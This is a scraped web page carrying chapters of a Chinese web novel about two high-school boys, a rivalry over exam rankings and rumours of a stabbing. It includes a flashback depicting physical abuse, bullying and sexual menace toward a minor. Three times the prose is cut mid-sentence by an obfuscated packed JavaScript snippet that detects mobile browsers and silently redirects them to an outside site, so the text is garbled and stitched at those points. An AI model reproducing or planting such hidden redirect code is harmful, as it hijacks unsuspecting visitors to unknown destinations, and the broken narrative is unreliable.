“今天外面很热吧?”孙家娟边说,边从厨房出来,伴随着一阵滚轮摩擦地面的声音。 李斯年咬着冰棍,腾出双手握住那轮椅的把手,要将她往餐桌那边推,但孙家娟摇手,示意茶几方向,弯下身拿出一个白色遥控器,按开了空调冷气。 “真是麻烦你了,我出门不方便,梁芷一个人去医院换药,我又不放心……” 小布丁很快就被吃完,李斯年叼着光秃秃的棍子,笑:“孙姨,她今年都上高一了,是大孩子了。” 孙家娟打趣:“谁家大孩子会放学回家摔个大跟头,还把脑袋都磕破了哟!” “妈!”梁芷将碗筷放上桌,有些不满母亲每天都把这件事挂在嘴上,挺丢人的。 孙家娟笑着,抬手去看女儿额头的伤口:“这是第二次换药了,下次什么时候去?” “医生多开了一次药,说不用去医院换了,门口小诊所也行。”梁芷答。 三人落座,孙家娟的手艺很不错,虽然坐在轮椅上架着胳膊炒菜,却也比寻常家常菜要可口。 “下个月,孝县的木芙蓉要开了。”饭吃到中途,孙家娟闲聊开口。 李斯年筷子微顿,“嗯”了一声。 “今年,你还是不和你爸爸一起去吗?” 李斯年摇头。 孙家娟在心里无声地叹了口气,她知道,李斯年这孩子重情重义,也正是因为太重情重义了,所以很多时候显得有点倔。 但每个人都有自己的坚持,没必要打破,于是她只是转开了话题:“那我带些木芙蓉回来。” “好,谢谢孙姨。” - 吃完晚饭刚过六点半,梁芷高一,还没有晚自习,李斯年向孙家娟辞别,顺着小巷子往外准备回学校。 此刻尚未完全天黑,但巷子窄又深,两边围墙也高,故而墙头的路灯已经亮了起来。 灯和灯之间的间隔不一、还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401219|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年久失修,走在其中会有一种被阴影包裹的安全感。 李斯年走过三岔路口,脚边忽然有一抹毛绒绒的白色闪过,是巷子里的野猫。 这几条街巷有不少野猫,但定居久留在三岔巷子里的只有两只,正好一白一黑。 梁芷很喜欢猫,总在家门口放个小碗用来喂猫,而李斯年偶尔会帮孙家娟跑腿买东西,来来去去,和这两只猫也算混了个脸熟。 李斯年刚想叫声“小白”,对方却连正眼都没瞧他,头也不回的往右侧巷子跑去。 李斯年心里有点失落,往常小白可是一遇到自己就躺倒在脚边撒娇的。 李斯年顺着小白离开的方向看,右手边巷子的路灯坏的七七八八,只有靠近路口处的那一盏亮着,灯下蹲着一个人,小白就是奔着那个人去的。 那人手里拿着一个长条状、外包装红蓝相间的东西,大概是猫条或简装罐头之类的,正认认真真往地上挤。 一身育德高中校服、还有发尾与衣领间露出的半截白皙肤色,李斯年都很熟悉。 黑猫已经等在那儿了,蹲的不远也不近,它向来不怎么亲人,吃的东西只有放在地上才肯去尝。 而小白不同,它一过去,就顺势往许之手背上蹭了蹭,然后开始吃那根还被拿在手里的猫条。 小黑喵呜一声,却也没有真的和小白抢,只好又乖乖低头吃自己地上的那份,许之似乎觉得有趣,唇边眼角浮现柔和的笑意。 李斯年心中升起奇异的陌生感,夹杂在他对许之自以为的熟悉中。 原来许之真正笑起来是这样的,像是一杯熨帖的温水,温温润润的从喉到胃,瞬间驱散了九月的燥热。 夜幕四起,昏暗的黄光如薄雾般笼罩在一人两猫的身上,孤独而和谐。 三岔路的其中两条都能通往育德,李斯年终究还是选择从另一条巷子悄然离开。 - 月底很快就到了,摸底考试的科目、时间安排完全与高考一致,取消了晚自习并不提倡提前对答案、估分数。 尽管每天能早早回家,但三天高强度的考试也是非常消耗体力和意志力的。 而比学生们脸色更不好的是赶着批阅试卷的老师,为了不耽误后续教学进度,成绩第四天下午就要出来。 当天下午第一节课是化学,董老师声色并茂讲完整节课,临了,一根粉笔头砸醒了李斯年。 他看起来心情不错,望向李斯年的目光甚至还带着笑意,顿了顿,才对全班说:“同学们,这次摸底考的成绩已经贴在大操场的公告栏了,都去看看自己的名次,晚自习开始讲考试卷子!” 大家一窝蜂地冲了出去,李斯年跟在大部队的尾部慢慢走,那架势,跟逛花园的老大爷似的。 也难怪,从初一进育德开始,他就稳居年级第一,久而久之,对于看排名这件事也失去了兴趣。 每次都不过是走个流程,轻而易举在固定的位置找到名字,然后大摇大摆的离开。 也有不少学生试图与李斯年争年级第一,然而在多次尝试无果后,也只能纷纷长叹一声既生瑜何生亮,继而开始以争夺年级第二为己任。 方行舟走得快些,李斯年到公告栏前面时,他已经挤进了这里三层外三层人堆的最前方。 方行舟先伸长脖子找了半天自己的成绩,还行,守住了年级前四十的死线,紧接着目光扫到榜单左侧最上方,陡然一愣。 李斯年的声音从他身后传来:“方行舟?” 方行舟的背影看起来有点僵硬。 李斯年又开口:“看完没?帮我看一眼得了,人太多,懒得挤进去。” 方行舟终于回过头,嘴微微张开,却不知道话要怎么出口。 方行舟身边零星有几个人顺着他回过头,很快,更多人转过身来,大家看到人群外的李斯年,目光都是不约而同的欲言又止。 搞什么啊?李斯年有些不耐烦,径直往前走,大家纷纷侧身,给他让出路来,直到他走到公告栏前,看清了贴在上面的红纸白字。 2017年育德学校高三年级摸底考试排名: 第一名,许之。 第二名,李斯年。 8. 开除 李斯年长这么大,第一次切身体会到什么叫做丢脸。 四周的同学似乎很安静、又似乎在窃窃私语,但都等在原地没动。 做什么?想听他发表一下《论年级第一被抢走的心情》吗? 李斯年冷着脸,转身离开,没走几步,就看到许之迎面走来。 他手里抱着一些崭新的课本,应该是转校时后勤那边缺漏,所以没发全的,刚从老师办公室拿了,顺路过来看成绩。 李斯年觉得更讽刺了,连课本都没领完的人比自己考得好。 此刻人群分开,无需走近就能轻易看到张贴的内容,许之明显也看到了自己的排名,随之目光挪开,与李斯年对上。 又是这种眼神,平静如水、没什么情绪,叫人觉得无论发生什么都怪不到他身上。 李斯年脑子一热,那瞬间什么都没想,就这么抬脚直直向着许之而去。 二人错身时,肩头相撞,许之手里的课本一歪,掉了两本在地上。 吧嗒,连课本掉在地上的声音都很无辜。 李斯年大步往教学楼方向走,智商慢半拍回到脑子里,后知后觉自己刚才的行为真他妈幼稚,整得和热血漫里对决前的放狠话似的。 其实他也搞不清心里这股火是从哪来的。 方行舟的确告诉过他,许之成绩很好。 但自己因为稳坐了三年年级第一,有傲气在,所以先入为主地认为许之连考试范围的教材都没学完,这次肯定没自己考得好。 也不对…… 李斯年转念一想,又觉得不能全怪自己臆想了。 明明是许之对于自己“成绩特别好”这件事,只字不提啊。 不仅只字不提,还在别人提起的时候装傻。 方行舟在许之面前吐槽过这次模拟考有多难。 但当时许之怎么说的? ——先尽力试试吧。 尽力个屁啊!这简直是毫不费力! 李斯年低气压持续了接下来的所有时间,方行舟眼睁睁看着他从下午第二节课睡到晚自习结束,晚饭都没敢去叫他一起吃。 李斯年晚上回到家,打开手机,就看到方行舟给他发来饱含歉意的消息。 逆水不行舟:对不住兄弟,之前情报不够完善,许之其实是全省模拟考的第一名…… 李斯年气笑了。 SN:《全省前三》 方行舟:你这么想,省第二没考过省第一,也算说得过去嘛。 SN:哦,原来早在我还不认识人家时,就已经输过一次了,谢谢你告诉我,我好开心。 消息发出,李斯年将手机调成睡眠模式,塞到了枕头底下。 或许是因为白天睡太久,此刻人反而清醒了,李斯年在床上翻来覆去好一会,他知道自己纠结的不仅仅是考试名次,更是许之这个人本身。 李斯年从来没有对任何人和事产生过这样无法解决的悬空感,这让他非常难受。 在他的观念里,所有事情都能解释、都拥有结局。 可许之是个例外。 他的行为举止都让李斯年感觉到矛盾与不理解,是李斯年非黑即白世界里突兀出现的灰色迷雾。 但偏偏他又没办法抓着许之逼问:“你脑子里到底在想什么?” 洋葱有太多层了,每一层都是真假难辨的辛辣汁液。 而他也的确没有义务给予自己任何诚恳的回答。 不知过了多久,李斯年迷迷糊糊的想着,大不了以后绕道走,眼不见心不烦,最简单有效的解决方式。 可惜现实中很多事情总是越想这样、就反而那样,不以人的意志为转移。 这次整个六班的模拟考的成绩都不错,接下来的几天里,班主任董老师脸上的笑就没消失过。 与此同时,又怕大家太骄傲,专门花了半个晚自习开反思动员大会,树立“不到高考那天一切都不算尘埃落定”的危机意识。 正好,距离他上次预言李斯年“年级第一被抢走”不过大半个月,故而李斯年理所当然的又被他当做反面教材拎出来,狠狠鞭打了一番。 九月的最后一天,气温格外高,直冲39度,颇有些秋老虎的架势——虽然李斯年真心觉得江城只有夏天和冬天可言,春秋都只存在于概念里。 食堂只有风扇、没有空调,座位也比较拥挤,人一多简直像是蹲在户外吃饭似的,汗味夹杂着体热充斥每个角落,李斯年想想就觉得没胃口。 于是上午四节课结束,就拉着方行舟去南门便利店觅食。 大概是因为天热,今天便利店的学生也明显比往常多,方行舟先去占了靠窗的位置,李斯年拿了两份盖饭去收银台结账。 他目光往柜台架子上一扫,觉得摆放的商品有点眼熟。 细长条,红蓝相间。 李斯年抽出来看,是一袋五包的猫条,外包装袋印着只可爱的猫咪。 “要来一个吗?”老板一边扫着盒饭上的二维码问,“这个味道可好了,猫都抢着吃。” “不用了。”李斯年将猫条放回原位,看到架子下方贴着小小的价格。 一袋二十五元——足够在学校食堂吃两顿一荤三素的盒饭了。 李斯年脑海中忽然浮现许之不锈钢饭盒里粗陋的食物。 随即猛地摇摇头,将画面驱散。 想这些做什么。 今天是李斯年要拉人出来吃,自然还是他请客,小少爷从来不在乎这点零钱。 但方行舟觉得自己拿李斯年当兄弟,并不是因为他家里有钱,所以不能老白吃白喝,于是一边打开饭盒,一边开始贡献自己这几天搜罗的八卦消息。 “国庆之后不就是双城高校篮球赛嘛,庆城高中的篮球队已经陆续到了,就住在我们学校空置的宿舍楼里。” 近几年大力提倡“青少年阳光运动”,衍生了不少相关政策,包括上午二十分钟的大课间,也包括这个三年一度的双城高校篮球赛。 双城指的自然就是江城和庆城,比赛按照年龄分为初中、高中、大学组,冠亚军有市级的奖金和奖章,今年主赛场在江城。 李斯年和钱霆都是育德高中篮球队的,钱霆是主力队员,李斯年只是把打球当业余爱好、不热衷于做高强度的训练。 但是因为身高和综合素质太优良,还是被算成了替补队员。 方行舟啃着鸡腿,声色并茂:“许之以前就在庆城高中上学,但你知道么,他其实不是转校来的——他是被庆城高中开除的!” 李斯年长筷一顿,终于忍不住接话:“真的假的?” “真的!庆高篮球队的人和我们学校球队天天打训练赛呢,听说高三新转来个年级第一,一对名字就出来了。但这不是重点。” 方行舟突然压低声音,神秘兮兮的卖关子:“重点是……他为什么被开除。” 李斯年眉心一跳,没由来的起了不好的预感。 什么事情会让学校开除考了全省第一的学生—— “他拿刀捅了体育老师!差点把人给捅死!”方行舟说。 李斯年惊愕:“什么?!” “你也没看出来吧?平时明明一副轻声细语老实巴交的模样,像是连蚂蚁都舍不得踩,谁能想到竟然是个有暴力倾向的!” 方行舟说着,一脸担心,嘱咐李斯年,“你以后也离他远点,万一他哪天突然凶性大发,伤害你呢?” 洋葱又被动的剥开一层,但…… “不会的。”李斯年摇头,他要是想伤害我,大可不必出现在名流ktv后面那个死胡同里。 “你说什么?” “他不是这样的人……”李斯年喃喃道。 方行舟只当是李斯年太单纯,没见过社会黑暗面:“你们才认识几天,他肯定是在蒙你和你爸。就说这次模拟考,他明明成绩这么好,先前却一点风声都不透露。我跟你说,这种人最可怕了,以后就是电视新闻里说的那种高智商罪犯!” 李斯年想解释点什么,却又突然觉得词穷,其实方行舟也没说错,许之就是这样表里不一的人。 自己先前不也是这样认为的么? 可是习惯于伪装隐藏是一回事,暴力变态狂又是另一回事。 李斯年无论如何都没办法把许之和“恶意行凶”四个字联系在一块。 这信任来得连他自己都有点莫名,无从解释,只是一种直觉: 就算这件事情是真的,或许也是事出有因。 大概是因为烈日午后许之为替他解围挨的那一闷棍、又或许是因为那夜昏黄灯光中喂猫的孤独身影,还有那不为人见的柔和笑意。 让李斯年心中忽然响起一个声音。 洋葱的确有很多层。 那么洋葱的心呢? 会不会其实和外面的每一层都不一样? 他再次开口,才发现自己嗓子有点干涩:“大家……都知道了吗?” 方行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他问:“有什么区别吗?” 见李斯年不回答,许之转身要走,随即听到身后的人站起来,快步走到他面前,挡住去路,执拗的看向他。 许之走神一瞬。 也不知道有没有人和李斯年说过,他的双眼总是如同盛着阳光般,眼角勾出明亮的神色,连同整个人看上去都是生动的模样。 无论是开心、生气、好奇、苦恼……都很生动。 “是不是你们养尊处优的富二代都这么天真又愚蠢?”许之语带嘲讽。 李斯年微怔,刚要开口,许之往前走了一步,二人距离拉近,许之眉目也随即落进了阴影之中。 许之不故意装乖装弱时,真实声音是偏低沉的,有着变声期结束后略显稚嫩的磁性:“就因为我救了你一次,所以觉得我是个好人?” 小少爷的确是挺善良的,质问别人时都要把“捅一刀”的措辞换成“伤害”,这是藏在骨子里的装不出来的家教。 但许之厌恶这种近乎天然的天真。 太刺眼了。 明明拥有宝贵难得的东西,却一无所知,还以为人人都有。 这是一种不自知不自觉的炫耀,隐秘而残忍。 “传言说的都是真的。”许之挑眉看向李斯年,“我就是捅了老师,几刀不记得了,反正血流了一地,我走的时候还以为他已经死了,不然我还会补上几刀。” 李斯年听完这些,应该会害怕,然后尽可能的躲避他吧,许之心想。 或者正好利用这件事,把许茜和自己赶出家门,不正是就是李斯年这些天想要做的事么? 许之的确早已做好心理准备,世上没有不透风的墙,何况江城和庆城相隔不远,这件事迟早会传到育德来、会被所有人知道。 他预想得到,这些人以后会怎么对待自己——在做操或排队等场合,发现旁边的人是他之后,立刻下意识后退几步,眼神充满着恐惧和猎奇的探究,躲躲闪闪之间,又忍不住偷看。 人性本就如此。 “那你为什么捅他?”李斯年突然开口。 这句问话让许之有些意外。 趁着许之愣住的片刻,李斯年继续说:“总有原因吧。” 他跳过血腥的结局,问向故事的最初开端,“就算你是未成年,出了这种事也要追究的,但你现在却站在这,不是吗?” 许之沉默了,昏暗中,李斯年看不清他的表情,过了片刻,对方再次开口:“别自作聪明了,我就是看他不顺眼而已。” 说完,转身就回了卧室。 李斯年看着许之不轻不重的关上卧室门,才又回到桌前坐下,他迟迟没有动勺,平静的绿豆汤表面映出深沉的双眸。 洋葱还真挺不好剥的,李斯年这样想着。 9. 伤口 国庆节假期,李宇和许茜还是没有回来的意思。 李斯年太了解李宇了,他肯定是发现这三个孩子能自己在家正常生活上学,许之没被兄妹俩暴打一顿扔到大街上,于是劝说许茜可以把冷静期再拉长一点。 这样也好,李斯年已经习惯了偏冷清的大屋子,从前母亲住过的主卧也没人进进出出,家里只是多一个许之,存在感还极低,可以忽略不计。 国庆第一天是个大晴天,李斯年难得睡了个懒觉,赵婶已经把午饭准备好了。 李倾诺来敲门,小姑娘打扮的挺好看,身上穿的不是睡衣、是出门的衣服。 “哥,吃午饭啊。” 李斯年应声,简单洗漱就下了楼。 李倾诺正朝楼梯望,见到是亲哥出来,似乎有点失望,伸手指了指另一边的卧室门:“许之哥哥呢?叫他也来吃饭啊。” 李斯年无奈的笑,许之哥哥四个字叫得够顺口的,便顺手在许之卧室门上敲了敲。 没人答应。 李斯年又敲了两下,赵婶从厨房端汤出来,抬头说:“那孩子不在屋里,一早就出门了。” “今天放假啊,他去哪了?”李倾诺叹了口气,自己还专门花了二十多分钟搭配衣服呢。 “这我就不知道了,也没问。”赵婶说,“你们先吃吧,他的那份我留了。” 赵婶平常只需要做早餐和宵夜,孩子们中午晚上都在学校吃,只有假期会做满一日三餐。 其实许之平时周六日也经常不在家,早出晚归的,李斯年只当他去学校图书馆自习。 毕竟他那么爱做题。 但国庆假期还往图书馆跑就有点说不过去了,爱学习也不是这么个爱法儿。 赵婶通常不与他们同桌吃,在早先做饭时已经单独分出来吃过了,趁着两个孩子吃饭的时候,把洗过的衣服拿出去院子晒晒太阳。 李倾诺饭吃的有点心不在焉,李斯年看破不说破,知道小丫头片子存不住话,果然,很快她就开了口。 “你知不知道,许之哥哥有女朋友吗?” “李糯糯同学,你才十二岁,想这些会不会有点太早。” “只是问问嘛,到底有还是没有?” 李斯年思索片刻,“应该没有。” 别说女朋友了,他甚至觉得许之这人连朋友都没有。 李倾诺若有所思的点点头,埋头吃了一会饭,又问:“那……有男朋友么?” 李斯年一口饭差点喷出来,赶紧抓起桌上的橙汁喝了几口:“你这小脑袋瓜整天都在想什么乱七八糟的?” “他长得那么好看,如果有男朋友,也是可以理解的。”李倾诺眼里闪烁着诚恳。 李斯年乐了:“没看出来,你还挺大度?” “哎,人啊,就是要看得开。” 李倾诺说着,装模作样的叹了口气,“他喜欢女孩子,那我还可以努努力。但他如果真喜欢男孩子……也行吧,至少让我嗑一嗑他们的cp!” 李斯年发现自己可能真的老了,已经跟不上初中少女的思维。 “诶,哥,你能不能帮我旁敲侧击一下?”李倾诺讨好的给亲哥盛了碗汤,双手呈上,“拜托拜托嘛……” “不要。”帮妹妹打探一个男人的性取向实在太奇怪了,更何况对方还是许之。 李倾诺哼了一声,把汤扒回自己面前:“不帮算了,我自己来!回头注册个新邮箱给他发点网上找的照片,看他会不会有兴趣阅读下载。” 李斯年脸部微微抽搐。 李糯糯熟练掌握“如何有效威胁亲哥”的技能,只要李斯年不答应的事,她就说要自己来。 很神奇的是,她总是有能力将事情弄得天崩地裂、乱七八糟,李斯年往往都是最后那个擦屁股的人。 果然,李糯糯肚子里坏水一转,招数已经基本成型,“但好看的男人照片不好找,网图又一眼假,对了!干脆下次等你洗完澡出来,我偷拍一张……” “我答应你!行了吧!” 李糯糯阴谋得逞,灿烂一笑,甜甜道:“就知道哥哥最好了!” 李斯年在心里翻了个白眼,心想,大不了过段时间,直接胡诌一句:许之就是喜欢男生,让妹妹彻底死心、远离早恋,大功告成! 吃完午饭,李倾诺从屋里背出一个双肩包,又要去孝县外婆家住几天。 “哥,你真不去?外婆总在说想你呢。” 李斯年摊手:“十五张卷子、三篇语文作文、五篇英语作文,二十页练习册,你帮我写?” 李倾诺脖子一缩:“我会给你带春卷的,回见!” 然后一溜烟的跑出门了。 李斯年在厨房洗了一碗葡萄带回房里吃,阳光倾斜,屋内没有刚才那么明亮了,只剩阳光炽热的余温。 他走上楼梯,路过许之卧室紧闭的房门。 他房门上空空的,什么都没有。 反观他们兄妹二人的—— 李倾诺的房门上贴满了粉色装饰物,最中央还用蕾丝包裹着一个原木色的门牌:糯糯的小屋。 李斯年卧室的门把上挂着一个小木铃,乍看朴实无华,但细看就能发现,其实打磨雕刻非常精致。 那是2011年暑假,妈妈带兄妹二人去日本玩时带回来的纪念品,据说可以驱邪祟。 彼时的李斯年正是中二少年,胆子没有很大,但沉迷看各种猎奇鬼片,于是郑秀就把木铃挂在他的门上,安慰他说尽管看,不用害怕做噩梦。 李斯年鬼使神差的停下脚步,手轻轻搭在了许之卧室的门把手上。 静谧的午后,只剩蝉鸣阵阵,送李倾诺去孝县外婆家的车启动、走远。 赵婶刚才晾完衣服,回到她平常休息的房间里,人上了年纪,中午非得小憩片刻才行。 整座屋子里只剩下李斯年一个清醒着的。 他知道这样不太好。 如果别人这么做,李斯年肯定要狠狠唾弃一番。 但许之身上好像就是有这种难以言状的吸引力,让人心中忍不住生出探索的欲望。 剥开一层、再拨开一层。 李斯年在心里胡乱找了很多理由: 答应了李倾诺的事得想办法办到、这里是我家哪里我不能去、住在同一屋檐下弄清许之捅人真相是他的责任……等等。 连自己都觉得扯淡的理由。 然后手腕转动,拧开了许之卧室的房门。 一股类似柑橘沐浴露的清凉味道夹杂着冷气扑面而来,李斯年更加真切的意识到自己正在闯入别人的领地。 窗帘紧闭,整个屋子宛如尚在黑夜里,只有书桌上一盏灯开着,勉强提升可见度。 屋内的摆设与许之入住前没什么两样,一桌一床一柜,该有的都有,但没有更多和个人特性相关的装饰物。 李斯年往里走,床上四件套都是灰色条纹的,床单有着睡过之后的褶皱,被褥被掀开一角,仿佛能看到许之早上醒来后,翻身起床的动作。 李斯年将目光从床上收回,觉得自己这样实在有点像个变态。 桌上摊着卷子和学习资料,李斯年微微弯腰,这还是他第一次仔细看许之写的字。 字迹非常整洁,落笔短促有力,漂亮之余还藏着些韧劲。 书桌前端连接着靠墙的三层书架,上面大多摆放着高中教材。 只有右上方两格不同,上层放着一个饼干铁盒,下层是几本非常厚的精装版书籍。 普通心理学、认知心理学、发展心理学、社会心理学…… 怎么这么多心理学的书,难道许之大学想报考这个专业吗? 但现在就看专业性书籍也有点太早了吧。 李斯年踮起脚尖,好奇那个饼干铁盒里会是什么,他在心中默默打赌,要是盖子是盖好的,他就不打开了,但如果没盖好…… 他终于看见了铁盒上部,压根没有盖子。 里面的东西也很一目了然,零零散散的纸币。 李斯年还以为会是日记、信件或者有特殊意义的纪念品之类的,没想到竟然会是钱。 什么面额的都有,大多是一块五块,十块二十块和五十块的,少量几张一百块。 也不像是压岁钱,因为都不是新钱,有些还挺脏旧的。 李斯年觉得转了一圈许之的卧室,疑问没得到解决、反而变得更多了。 他将放在桌上的葡萄端起来,准备离开,一抬眼,门口有个人影,高高瘦瘦,挡住了外面的光线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401221|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李斯年做贼心虚,吓得差点原地蹦起来,慌张之间,手一软,碗摔在床上,葡萄咕噜噜滚了一地。 门被推开了点,那人走了进来,李斯年借由台灯光线看清楚了对方的表情:眉头轻皱,微微低垂的眼角夹带着冷意,向来红润的双唇此刻抿得没了血色。 “对不起我、我……”李斯年余光一瞥,指向床头,“我屋里空调的遥控器找不到了,想借你的用用。” 这实在不算是一个好的借口,他完全可以去拿李倾诺房间的、或者找赵婶要备用的,而不是做贼似的溜到这里来。 许之自然也看穿了,但他似乎此刻并不很想计较这些,只是微微侧身,让出道路,示意李斯年拿上东西赶紧滚。 李斯年葡萄也来不及捡起,抄起空调遥控器就往外走,在与许之错身时,闻到一丝若有若无的怪异气味。 等走出门,才忽然意识到那是什么。 李斯年转过身,许之正准备关门,垂下的右手虚握着,半藏在身后。 李斯年抬手抵住了门:“你受伤了?” “没有。” “我闻到血腥味了,你又打架了?” 许之听到这个“又”字,脸色更沉了些,他关门的手用力:“关你屁事。” “你住我家,当然关我的事。”李斯年上前一步,半个身子卡在门缝处。 这门看来是关不上了,许之冷哼一声,松开了手,转身往里走。 李斯年跟了上去,见他弯腰从抽屉里拿出一条旧毛巾就要往手上捆。 “诶,你这毛巾消毒没?家里有纱布啊。”李斯年说着,转身就下楼去拿急救箱。 等他上来时,许之坐在床边,手上已经裹好旧毛巾了。 李斯年将急救箱打开,取出碘伏和纱布,就要抓许之的右手腕。 许之手往后一缩:“你能不能别多管闲事?” “不是,你都受伤流血了,得消毒啊。”李斯年语气非常理所当然,像是在说人饿了就得吃饭一样。 说着就握住了许之的手腕,他手腕不粗,李斯年一只手就能抓稳。 毛巾在他的右手掌绕了两圈,结绑的非常随意,其中一端还有点湿,估计是单手不方便,借用牙咬着绑紧的。 李斯年取下毛巾,一条从鱼际到小指根部、贯穿手掌的割伤映入眼帘。 割的有点深,皮肉外翻,满手都是血污,难怪会有那么大的血腥味。 李斯年眉头皱起,抬头问:“怎么弄的这么严重?” 许之没回答,只是撇过脸去,嘴唇抿得更紧了,李斯年当他是在忍痛,心里想着,不愿说就算了,还是先处理伤口比较重要。 于是先用生理盐水将污渍小心的擦除了,又用棉签沾着碘伏在伤口周围消毒。 从急救箱里翻出一瓶没开封的云南白药,李斯年有点纠结:“要不还是去医院看看,也许应该缝几针。” “不用了。”许之声音有点哑。 “好吧,如果疼就说,别忍着。” 李斯年小心又费劲的撕开云南白药,瓶口处有一团棉花,里面放着小小的保险子。 他认真看了会小药丸,问:“要不这个也吃了?” “没到那个程度。” “哦……”李斯年将保险子塞进棉花里,放在瓶盖上,一只手轻按着许之右手食指到无名指,让手掌微微摊开,另一只手小心翼翼的将云南白药铺撒在狰狞的伤口上。 李斯年认真做这些时,许之就这么静静看着他。 李斯年的动作很轻,仿佛在对待极其珍贵的东西,但许之知道,这并非因为自己,若是此刻换做别人,他也会这么做的。 因为在李斯年的概念里,受伤会很疼,那么就要小心的处理。 是啊,这好像才是正常人的正常观念。 许之忽然觉得自己这样一本正经的意识到某些常识是有点违和的事情。 手上的伤口这么深,就算李斯年已经尽量小心,但药粉撒在上面,还是带来了钻心的疼痛。 许之将要溢出喉头的痛呼又原封不动咽了下去,过长的屏息忍痛让他有片刻恍惚,突然就想起了两年前的某一天。 屋内的昏暗和此刻一样,不过不是因为窗帘紧闭,而是因为日落黄昏。 10. 过往 许之打开大门,屋里很暗,只有侧面厨房亮着一盏小灯,一个矮胖女人正在摘菜准备做晚饭,水龙头哗哗作响。 听到许之进门,矮胖女人转头看了他一眼,眼睛猛地瞪大:“怎么搞的?!” 她大步走过来,满脸愤怒,攥住许之的领口:“怎么又弄一身水!?你又和同学打架了?” “我没有,是他们……”许之没说完,矮胖女人就一耳光扇了过来,许之瘦弱的身形一歪,扶住旁边的餐桌才不至于摔倒。 “没爹教没娘养的孽种!天天就知道给老娘闯祸!” 矮胖女人嘴皮子极利索,这些话熟练的张口就来,“要不是你先去招惹别人,别人会打你?!” 说着,又猛地抬起手,刚要甩下,一个男人从卧室快步走出来,挡下这巴掌。 “算了算了,别气坏身体。”男人劝说。 “你就整天装好人吧!什么垃圾都往家里捡!有这功夫,我劝你多管管你亲生儿子,这次期中考又一塌糊涂!” “哎呀,我这不刚拜托老徐给小锐课后补习了嘛,以后每天作业,我都亲自辅导,好不好……” 男人好声好气的低声哄了半天,矮胖女人终于气消了些,狠狠剜了许之一眼,冷哼着回厨房去了。 许之垂着头,转身往自己的小隔间走去,他刚推开门,就感觉到身后有人走来。 是男人将手放在他肩膀上,和他一起进了隔间,反手把门关上了。 “许之啊,庆城高中和你初中小学上的那种寄宿学校不一样,是省重点,你的心思还是要放在学习上面,知道吗?”男人让许之坐在床边,自己拉了个椅子,坐到他旁边,言辞温和又不失威严。 许之低着头,不吭声。 他上半身衣服湿透了,头发还滴着水,鼻腔里火辣辣的,身上也疼,现在什么都不想说、什么都不想听,只想睡一觉。 男人翻开他的领口,许之下意识往后一缩,却反而因此露出衣领内更大的范围。 脖颈的掐痕触目惊心,白皙的皮肤上满是新旧不一的淤青,纤细的锁骨上有个明显刚烫上去的烟头印,被水泡过后,肿胀的伤口边缘微微发白。 男人目光下移。 许之胸前的校服也满是黑色字迹,虽然很多都被水给浸得晕染开来,但几个比较大的字还是能勉强认清。 娘炮。 私生子。 野种。 “校服脱了吧,明天我和你们班主任打声招呼,买套新的。”男人说。 许之点头,往隔间的门走,想要去卫生间。 “就在这。” 许之脚步一顿,仍然抬手开门。 男人豁然起身,用身体挡住门,去抓许之的校服下摆,许之面色仓皇,用尽全力将男人往侧边推去。 男人似乎没预料到许之都这样了,还能使出如此大的力气,他踉跄几步,脸色变得非常差,粗暴的抓住许之的肩膀,将他狠狠地甩在了床上。 许之想要挣扎,但他实在是太累了,刚才那一推已经用完了力气,此刻只觉得四肢百骸都往外泛着酸痛。 手腕也被男人轻而易举的攥住,压在了头顶。 “你知不知道,他们为什么欺负你?”男人一改刚才的慈爱模样,恶狠狠地问。 许之红着眼角,死死盯着男人,刚要开口,却突然浑身一颤,痛苦的闷哼出声。 男人食指曲起,用关节狠狠地抵按在了许之锁骨的烫伤上,然后一边开口,一边缓慢的转动碾压。 “因为你他妈的太好看了。” 男人注视着许之因为疼痛而皱起的五官,脸上浮现出肆意的狞笑,“又好看、又不听话。” “你还想反抗多久?以为反抗会有用么——” “许之?许之!”耳边传来朦胧的声音。 许之猛然从回忆中惊醒,眼神聚焦,看到李斯年充满关切的脸。 “怎么了,是很疼吗?” 许之摇头,垂眼看去,手掌已经缠上了厚厚的纱布,整齐美观,小巧的结打在手背处。 “会不会太紧?”李斯年问。 许之轻轻活动了一下:“不会。” 李斯年将急救箱收拾好,就放在了他的床头:“这几天别碰水,每天换药,要是伤口发炎的话,还是要去医院。” 他最近刚好陪同梁芷去医院换了几次药,因此对外伤处理有了些了解。 许之点头,李斯年叮嘱他午饭留好了热一热就能吃,然后起身离开。 咔哒一声响,门被轻轻关上。 许之左手撑床想起身,散落在床上的葡萄咕噜噜滚到了凹陷处,贴在手指边缘,带来略略清凉的触感。 他垂眸看了好一会,最后才拿起一粒,放进嘴里。 印象中紫皮葡萄都是酸涩的,但这颗却是甜盖过了酸,冰冰凉凉的在嘴里蔓延开来。 - 接下来几天,李斯年还是很少能见到许之,他饭点时间都不在家,但每天留出的那那份饭菜又会在其他不知道什么时间被吃掉。 看着台面上洗干净的碗筷,李斯年心想,也不知道他受伤的手恢复的怎么样,有没有遵守嘱咐不去碰水。 国庆的最后一天,孙家娟打来电话,让李斯年去取木芙蓉。 